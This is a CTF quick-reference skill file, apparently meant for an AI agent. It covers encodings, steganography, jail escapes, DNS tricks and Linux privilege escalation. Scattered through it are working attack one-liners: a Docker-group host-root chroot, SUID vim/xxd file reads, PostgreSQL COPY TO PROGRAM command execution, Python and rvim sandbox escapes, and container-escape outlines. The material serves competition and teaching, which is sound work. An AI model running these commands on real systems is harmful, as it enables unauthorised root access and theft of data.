ctf-misc

SKILL.md

CTF Miscellaneous

Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details.

Prerequisites

Python packages (all platforms):

pip install z3-solver pwntools Pillow numpy requests dnslib

Linux (apt):

apt install ffmpeg qrencode

macOS (Homebrew):

brew install ffmpeg qrencode

Manual install:

SageMath — Linux: apt install sagemath, macOS: brew install --cask sage

Additional Resources

pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func_globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval

bashjails.md - Bash jail/restricted shell escape techniques, HISTFILE file read trick, bash -v verbose mode, ctypes.sh direct C library calls

encodings.md - Encodings, QR codes, esolangs, UTF-16 tricks, BCD encoding, multi-layer auto-decoding, indexed directory QR reassembly, multi-stage URL encoding chains

encodings-advanced.md - Verilog/HDL, Gray code cyclic encoding, RTF custom tag extraction, SMS PDU decoding, multi-encoding sequential solvers, UTF-9, pixel binary encoding, hexadecimal Sudoku + QR assembly, TOPKEK, MaxiCode

rf-sdr.md - RF/SDR/IQ signal processing (QAM-16, carrier recovery, timing sync)

dns.md - DNS exploitation (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling)

games-and-vms.md - WASM patching, Roblox place file reversing, PyInstaller, marshal analysis, Python env RCE, Z3 (including boolean logic gate network SAT solving), K8s RBAC, floating-point precision exploitation, custom assembly language sandbox escape via Python MRO chain

games-and-vms-2.md - Cookie checkpoint game brute-forcing, Flask cookie game state leakage, WebSocket game manipulation, server time-only validation bypass, De Bruijn sequence, Brainfuck instrumentation, WASM linear memory manipulation

games-and-vms-3.md - memfd_create packed binaries, multi-phase crypto games with HMAC commitment-reveal and GF(256) Nim, emulator ROM-switching state preservation, Python marshal code injection, Benford's Law bypass, parallel connection oracle relay, nonogram solver pipelines, 100 prisoners problem, C code jail escape via emoji identifiers, BuildKit daemon build secret exploitation, Docker container escape, Levenshtein distance oracle attack, taint analysis bypass via type coercion, shredded document pixel-edge reassembly

games-and-vms-4.md - Part 4 (2018-era): XSLT as Turing-complete VM, JavaScript MAX_SAFE_INTEGER successor equality, binary search oracle in comparison-only DSL, blind SQLi via script-engine timeout error, OEIS sequence lookup automation, QR code reassembly from format-string constraints, matrix exponentiation for Fibonacci recurrence, Tribonacci for frog-jump counting, Selenium + Tesseract dynamic CAPTCHA, Brainfuck→Piet multi-layer polyglot, bytebeat synth code recognition

linux-privesc.md - Sudo wildcard parameter injection (fnmatch), crafted pcap for sudoers.d, monit confcheck process injection, Apache -d override, backup cronjob SUID, PostgreSQL COPY TO PROGRAM RCE, PostgreSQL backup credential extraction, NFS share exploitation, SSH Unix socket tunneling, PaperCut Print Deploy privesc, Squid proxy pivoting, Zabbix admin password reset via MySQL, WinSSHTerm credential decryption

ctfd-navigation.md - CTFd platform API navigation without browser: detection, token auth, challenge listing, file download, flag submission, scoreboard, hints, notifications, Python client class

When to Pivot

If the puzzle is actually centered on cryptography or number theory, switch to /ctf-crypto.

If the challenge is a real binary exploit instead of a jail, toy VM, or encoding problem, switch to /ctf-pwn or /ctf-reverse.

If the input is mostly files, images, audio, or packet captures that need recovery work first, switch to /ctf-forensics.

For ML/AI techniques (model attacks, adversarial examples, LLM jailbreaking), see /ctf-ai-ml.

Quick Start Commands

# File identification
file mystery_file
xxd mystery_file | head -5
python3 -c "import magic; print(magic.from_file('mystery_file'))"

# Encoding detection
python3 -c "import base64; print(base64.b64decode('<data>'))"
echo '<data>' | base64 -d
echo '<hex>' | xxd -r -p

# QR code
zbarimg qr.png
python3 -c "from pyzbar.pyzbar import decode; from PIL import Image; print(decode(Image.open('qr.png')))"

# Z3 constraint solving
python3 -c "from z3 import *; x=BitVec('x',32); s=Solver(); s.add(x^0xdead==0xbeef); s.check(); print(s.model())"

# Python jail test
python3 -c "__import__('os').system('id')"

General Tips

Read all provided files carefully

Check file metadata, hidden content, encoding

Power Automate scripts may hide API calls

Use binary search when guessing multiple answers

Common Encodings

# Base64
echo "encoded" | base64 -d

# Base32 (A-Z2-7=)
echo "OBUWG32D..." | base32 -d

# Hex
echo "68656c6c6f" | xxd -r -p

# ROT13
echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'

Identify by charset:

Base64: A-Za-z0-9+/=

Base32: A-Z2-7= (no lowercase)

Hex: 0-9a-fA-F

See encodings.md for Caesar brute force, URL encoding, and full details.

IEEE-754 Float Encoding (Data Hiding)

Pattern (Floating): Numbers are float32 values hiding raw bytes.

Key insight: A 32-bit float is just 4 bytes interpreted as a number. Reinterpret as raw bytes -> ASCII.

import struct
floats = [1.234e5, -3.456e-7, ...]  # Whatever the challenge gives
flag = b''
for f in floats:
    flag += struct.pack('>f', f)
print(flag.decode())

Variations: Double '>d', little-endian '<f', mixed. See encodings.md for CyberChef recipe.

USB Mouse PCAP Reconstruction

Pattern (Hunt and Peck): USB HID mouse traffic captures on-screen keyboard typing. Use USB-Mouse-Pcap-Visualizer, extract click coordinates (falling edges), cumsum relative deltas for absolute positions, overlay on OSK image.

File Type Detection

file unknown_file
xxd unknown_file | head
binwalk unknown_file

Archive Extraction

7z x archive.7z           # Universal
tar -xzf archive.tar.gz   # Gzip
tar -xjf archive.tar.bz2  # Bzip2
tar -xJf archive.tar.xz   # XZ

Nested Archive Script

while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do
    7z x -y "$f" && rm "$f"
done

QR Codes

zbarimg qrcode.png       # Decode
qrencode -o out.png "data"

MaxiCode barcode: Hexagonal 2D barcode with bullseye center; decode with zxing (Java) since standard QR decoders fail. See encodings-advanced.md.

TOPKEK encoding: CTF-specific binary encoding where KEK=0, TOP=1, ! suffix = repeat count. See encodings-advanced.md.

See encodings.md for QR structure, repair techniques, chunk reassembly (structural and indexed-directory variants), and multi-stage URL encoding chains.

Audio Challenges

sox audio.wav -n spectrogram  # Visual data
qsstv                          # SSTV decoder

RF / SDR / IQ Signal Processing

See rf-sdr.md for full details (IQ formats, QAM-16 demod, carrier/timing recovery).

Quick reference:

cf32: np.fromfile(path, dtype=np.complex64) | cs16: int16 reshape(-1,2) | cu8: RTL-SDR raw

Circles in constellation = constant frequency offset; Spirals = drifting frequency + gain instability

4-fold ambiguity in DD carrier recovery - try 0/90/180/270 rotation

pwntools Interaction

from pwn import *

r = remote('host', port)
r.recvuntil(b'prompt: ')
r.sendline(b'answer')
r.interactive()

Python Jail Quick Reference

Oracle pattern: L() = length, Q(i,x) = compare, S(guess) = submit. Linear or binary search.

Walrus bypass: (abcdef := "new_chars") reassigns constraint vars

Decorator bypass: @__import__ + @func.__class__.__dict__[__name__.__name__].__get__ for no-call, no-quotes escape

String join: open(''.join(['fl','ag.txt'])).read() when + is blocked

See pyjails.md for full techniques.

Z3 / Constraint Solving

from z3 import *
flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
s = Solver()
# Add constraints, check sat, extract model

See games-and-vms.md for YARA rules, type systems as constraints, boolean logic gate network SAT solving.

Hash Identification

MD5: 0x67452301 | SHA-256: 0x6a09e667 | MurmurHash64A: 0xC6A4A7935BD1E995

SHA-256 Length Extension Attack

MAC = SHA-256(SECRET || msg) with known msg/hash -> forge valid MAC via hlextend. Vulnerable: SHA-256, MD5, SHA-1. NOT: HMAC, SHA-3.

import hlextend
sha = hlextend.new('sha256')
new_data = sha.extend(b'extension', b'original_message', len_secret, known_hash_hex)

Technique Quick References

PyInstaller: pyinstxtractor.py packed.exe. See games-and-vms.md for opcode remapping.

Marshal: marshal.load(f) then dis.dis(code). See games-and-vms.md.

Python env RCE: PYTHONWARNINGS=ignore::antigravity.Foo::0 + BROWSER="cmd". See games-and-vms.md.

WASM patching: wasm2wat -> flip minimax -> wat2wasm. See games-and-vms.md.

Float precision: Large multipliers amplify FP errors into exploitable fractions. See games-and-vms.md.

K8s RBAC bypass: SA token -> impersonate -> hostPath mount -> read secrets. See games-and-vms.md.

Cookie checkpoint: Save session cookies before guesses, restore on failure to brute-force without reset. See games-and-vms-2.md.

Flask cookie game state: flask-unsign -d -c '<cookie>' decodes unsigned Flask sessions, leaking game answers. See games-and-vms-2.md.

WebSocket teleport: Modify player.x/player.y in console, call verification function. See games-and-vms-2.md.

Time-only validation: Start session, time.sleep(required_seconds), submit win. See games-and-vms-2.md.

Quine context detection: Dual-purpose quine that prints itself (passes validation) and runs payload only in server process via globals gate. See pyjails.md.

Repunit decomposition: Decompose target integer into sum of repunits (1, 11, 111, ...) using only 2 characters (1 and +) for restricted eval. See pyjails.md.

De Bruijn sequence: B(k, n) contains all k^n possible n-length strings as substrings; linearize by appending first n-1 chars. See games-and-vms-2.md.

Brainfuck instrumentation: Instrument BF interpreter to track tape cells, brute-force flag character-by-character via validation cell. See games-and-vms-2.md.

WASM memory manipulation: Patch WASM linear memory at runtime to set game state variables directly, bypassing game logic. See games-and-vms-2.md.

Lua sandbox escape: Bypass load()/os.execute() filters via os["execute"] table indexing or loadstring alias. See games-and-vms.md.

C code jail via emoji + gadget embedding: When only emoji and punctuation are allowed in C, use (😃==😃) as constant 1, build integers, embed gadgets in add eax, imm32 constants, jump to offset+1 for shellcode primitives. See games-and-vms-3.md.

Emulator ROM-switching: /load replaces ROM but preserves CPU state (registers, RAM, PC). Switch ROMs at specific PCs to combine INIT from one ROM with display instructions from another → read protected memory. See games-and-vms-3.md.

BuildKit daemon exploitation: Exposed BuildKit gRPC allows nested buildctl build with --mount=type=secret to read build secrets. Two-stage Dockerfile: install buildctl → submit nested build mounting flag secret. See games-and-vms-3.md.

Docker container escape: Privileged breakout via host device mount, docker.sock socket escape, CAP_SYS_ADMIN cgroup release_agent, container info leakage via /proc and overlayfs. See games-and-vms-3.md.

Taint analysis bypass via type coercion: In custom ML-like languages with secrecy/taint systems, if-expression secrecy depends on return type not condition — coerce side-effecting functions to private type to leak private data through public mutable refs. See games-and-vms-3.md.

Shredded document pixel-edge reassembly: Encode each strip's left/right edge as binary bitmask (dark=1), use XOR + popcount Hamming distance to greedily place strips by minimum edge distance for sub-second reassembly. See games-and-vms-3.md.

f-string config injection via stored eval: Store payload as config value, create key named eval(stored_key) — f-string rendering evaluates the key name expression, triggering RCE. See pyjails.md.

Hexadecimal Sudoku + QR assembly: 4 QR codes encode 16x16 hex Sudoku quadrants; solve grid, read diagonal as hex pairs → ASCII flag. See encodings-advanced.md.

Z3 boolean gate network SAT solving: Product key validation as 250 boolean gates (AND/OR/XOR/NOT) over 125 input bits. Model each gate as Z3 constraint, require all outputs True, solve in milliseconds. See games-and-vms.md.

3D Printer Video Nozzle Tracking (LACTF 2026)

Pattern (flag-irl): Video of 3D printer fabricating nameplate. Flag is the printed text.

Technique: Track nozzle X/Y positions from video frames, filter for print moves (top/text layer only), plot 2D histogram to reveal letter shapes:

# 1. Identify text layer frames (e.g., frames 26100-28350)
# 2. Track print head X position (physical X-axis)
# 3. Track bed X position (physical Y-axis from camera angle)
# 4. Filter for moves with extrusion (head moving while printing)
# 5. Plot as 2D scatter/histogram -> letters appear

Discord API Enumeration (0xFun 2026)

Flags hidden in Discord metadata (roles, animated emoji, embeds). Invoke /ctf-osint for Discord API enumeration technique and code (see social-media.md in ctf-osint).

SUID Binary Exploitation (0xFun 2026)

# Find SUID binaries
find / -perm -4000 2>/dev/null

# Cross-reference with GTFObins
# xxd with SUID: xxd flag.txt | xxd -r
# vim with SUID: vim -c ':!cat /flag.txt'

Reference: https://gtfobins.github.io/

Linux Privilege Escalation Quick Checks

# GECOS field passwords
cat /etc/passwd  # Check 5th colon-separated field

# ACL permissions
getfacl /path/to/restricted/file

# Sudo permissions
sudo -l

# Docker group membership (instant root)
id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

Docker Group Privilege Escalation (H7CTF 2025)

User in the docker group can mount the host filesystem into a container and chroot into it for root access.

# Check group membership
id  # Look for "docker" in groups

# Mount host root filesystem and chroot
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

# Now running as root on the host filesystem
cat /root/flag.txt

Key insight: Docker group membership is equivalent to root access. The docker CLI socket (/var/run/docker.sock) allows creating privileged containers that mount the entire host filesystem.

Reference: https://gtfobins.github.io/gtfobins/docker/

Sudo Wildcard Parameter Injection (Dump HTB)

Sudo's fnmatch() matches * across argument boundaries. Inject extra flags (-Z root, -r, second -w) into locked-down commands. Craft pcap with embedded valid sudoers entries — sudo's parser recovers from binary junk, unlike cron's strict parser. See linux-privesc.md.

Monit Process Command-Line Injection (Zero HTB)

Root monit script uses pgrep -lfa to extract process command lines, then executes a modified version. Create fake process via perl -e '$0 = "..."' with injected flags. Apache -d last-wins overrides ServerRoot; -E captures error output. Include /root/flag causes a parse error that reveals the file content. See linux-privesc.md.

PostgreSQL RCE and File Read (Slonik HTB)

COPY (SELECT '') TO PROGRAM 'cmd' executes OS commands as postgres. pg_read_file('/path') reads files. Extract credentials from pg_basebackup archives (global/1260 = pg_authid). SSH tunnel to Unix sockets: ssh -fNL 25432:/var/run/postgresql/.s.PGSQL.5432. See linux-privesc.md.

Backup Cronjob SUID Abuse (Slonik HTB)

Root cronjob copying directories preserves SUID bit but changes ownership to root. Place SUID bash in source directory → backup copies it as root-owned SUID. Execute with bash -p. See linux-privesc.md.

PaperCut Print Deploy Privesc (Bamboo HTB)

Root process runs scripts from user-owned directory. Modify server-command, trigger via Mobility Print API refresh. See linux-privesc.md.

CTFd Platform Navigation (No Browser)

Detect CTFd (curl -s "$CTF_URL/api/v1/" | head -5) and interact via API. Ask the user for their API token (CTFd Settings > Access Tokens) — it is not provided by default. Then use Authorization: Token $CTF_TOKEN header for all requests.

export CTF_URL="https://ctf.example.com" CTF_TOKEN="ctfd_your_token_here"
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges" | jq -r '.data[] | "\(.id)\t\(.value)pts\t\(.category)\t\(.name)"'
curl -s -X POST -H "Authorization: Token $CTF_TOKEN" -H "Content-Type: application/json" "$CTF_URL/api/v1/challenges/attempt" -d "{\"challenge_id\": $CID, \"submission\": \"flag{...}\"}"

See ctfd-navigation.md for full workflow, Python client class, session login, hints, notifications, file download, and troubleshooting.

Useful One-Liners

grep -rn "flag{" .
strings file | grep -i flag
python3 -c "print(int('deadbeef', 16))"

Keyboard Shift Cipher

Pattern (Frenzy): Characters shifted left/right on QWERTY keyboard layout.

Identification: dCode Cipher Identifier suggests "Keyboard Shift Cipher"

Decoding: Use dCode Keyboard Shift Cipher with automatic mode.

Pigpen / Masonic Cipher

Pattern (Working For Peanuts): Geometric symbols representing letters based on grid positions.

Identification: Angular/geometric symbols, challenge references "Peanuts" comic (Charlie Brown), "dusty looking crypto"

Decoding: Map symbols to Pigpen grid positions, or use online decoder.

ASCII in Numeric Data Columns

Pattern (Cooked Books): CSV/spreadsheet numeric values (48-126) are ASCII character codes.

import csv
with open('data.csv') as f:
    reader = csv.DictReader(f)
    flag = ''.join(chr(int(row['Times Borrowed'])) for row in reader)
print(flag)

CyberChef: "From Decimal" recipe with line feed delimiter.

Backdoor Detection in Source Code

Pattern (Rear Hatch): Hidden command prefix triggers system() call.

Common patterns:

strncmp(input, "exec:", 5) -> runs system(input + 5)

Hex-encoded comparison strings: \x65\x78\x65\x63\x3a = "exec:"

Hidden conditions in maintenance/admin functions

DNS Exploitation Techniques

See dns.md for full details (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling).

Quick reference:

ECS spoofing: dig @server flag.example.com TXT +subnet=10.13.37.1/24 - try leet-speak IPs (1337)

NSEC walking: Follow NSEC chain to enumerate DNSSEC zones

IXFR: dig @server domain IXFR=0 when AXFR is blocked

DNS rebinding: Low-TTL alternating resolution to bypass same-origin

DNS tunneling: Data exfiltrated via subdomain queries or TXT responses

Unicode Steganography

Variation Selectors Supplement (U+E0100-U+E01EF)

Patterns (Seen & emoji, Nullcon 2026): Invisible Variation Selector Supplement characters encode ASCII via codepoint offset.

# Extract hidden data from variation selectors after visible character
data = open('README.md', 'r').read().strip()
hidden = data[1:]  # Skip visible emoji character
flag = ''.join(chr((ord(c) - 0xE0100) + 16) for c in hidden)

Detection: Characters appear invisible but have non-zero length. Check with [hex(ord(c)) for c in text] -- look for codepoints in 0xE0100-0xE01EF or 0xFE00-0xFE0F range.

Unicode Tags Block (U+E0000-U+E007F) (UTCTF 2026)

Pattern (Hidden in Plain Sight): Invisible Unicode Tag characters embedded in URLs, filenames, or text. Each tag codepoint maps directly to an ASCII character by subtracting 0xE0000. URL-encoded as 4-byte UTF-8 sequences (%F3%A0%81%...).

import urllib.parse

url = "https://example.com/page#Title%20%F3%A0%81%B5%F3%A0%81%B4...Visible%20Text"
decoded = urllib.parse.unquote(urllib.parse.urlparse(url).fragment)

flag = ''.join(
    chr(ord(ch) - 0xE0000)
    for ch in decoded
    if 0xE0000 <= ord(ch) <= 0xE007F
)
print(flag)

Key insight: Unicode Tags (U+E0001-U+E007F) mirror ASCII 1:1 — subtract 0xE0000 to recover the original character. They render as zero-width invisible glyphs in most fonts. Unlike Variation Selectors (U+E0100+), these have a simpler offset calculation and appear in URL fragments, challenge titles, or filenames where the text looks normal but has suspiciously long byte length.

Detection: Text or URL is longer than expected in bytes. Percent-encoded sequences starting with %F3%A0%80 or %F3%A0%81. Python: any(0xE0000 <= ord(c) <= 0xE007F for c in text).

UTF-16 Endianness Reversal

Pattern (endians): Text "turned to Japanese" -- mojibake from UTF-16 endianness mismatch.

# If encoded as UTF-16-LE but decoded as UTF-16-BE:
fixed = mojibake.encode('utf-16-be').decode('utf-16-le')

Identification: CJK characters, challenge mentions "translation" or "endian". See encodings.md for details.

Cipher Identification Workflow

ROT13 - Challenge mentions "ROT", text looks like garbled English

Base64 - A-Za-z0-9+/=, title hints "64"

Base32 - A-Z2-7= uppercase only

Atbash - Title hints (Abash/Atbash), preserves spaces, 1:1 substitution

Pigpen - Geometric symbols on grid

Keyboard Shift - Text looks like adjacent keys pressed

Substitution - Frequency analysis applicable

Auto-identify: dCode Cipher Identifier

HISTFILE Trick for Restricted Shell File Reads (BCTF 2016)

Read files without cat/less/head: HISTFILE=/flag /bin/bash && history, or bash -v flag.txt (verbose mode prints lines), or ctypes.sh dlcall for direct C library calls. See bashjails.md.

Levenshtein Distance Oracle Attack (SunshineCTF 2016)

Oracle returns edit distance between guess and secret. Determine length from empty string, identify present chars from single-char repeats, binary search for positions. O(n log n) queries. See games-and-vms-3.md.

SECCOMP High-Bit File Descriptor Bypass (33C3 CTF 2016)

close(0x8000000000000002) passes 64-bit SECCOMP check (≠ 2) but kernel truncates to 32-bit (== 2), closing fd 2. Next open() returns fd 2 for arbitrary file. Type-width mismatch between BPF filter and kernel. See games-and-vms-3.md.

rvim Jail Escape via Python3 (BKP 2017)

rvim blocks :! but :python3 import os; os.system("cmd") executes arbitrary commands. Check :version for +python3/+lua/+ruby. See games-and-vms-3.md.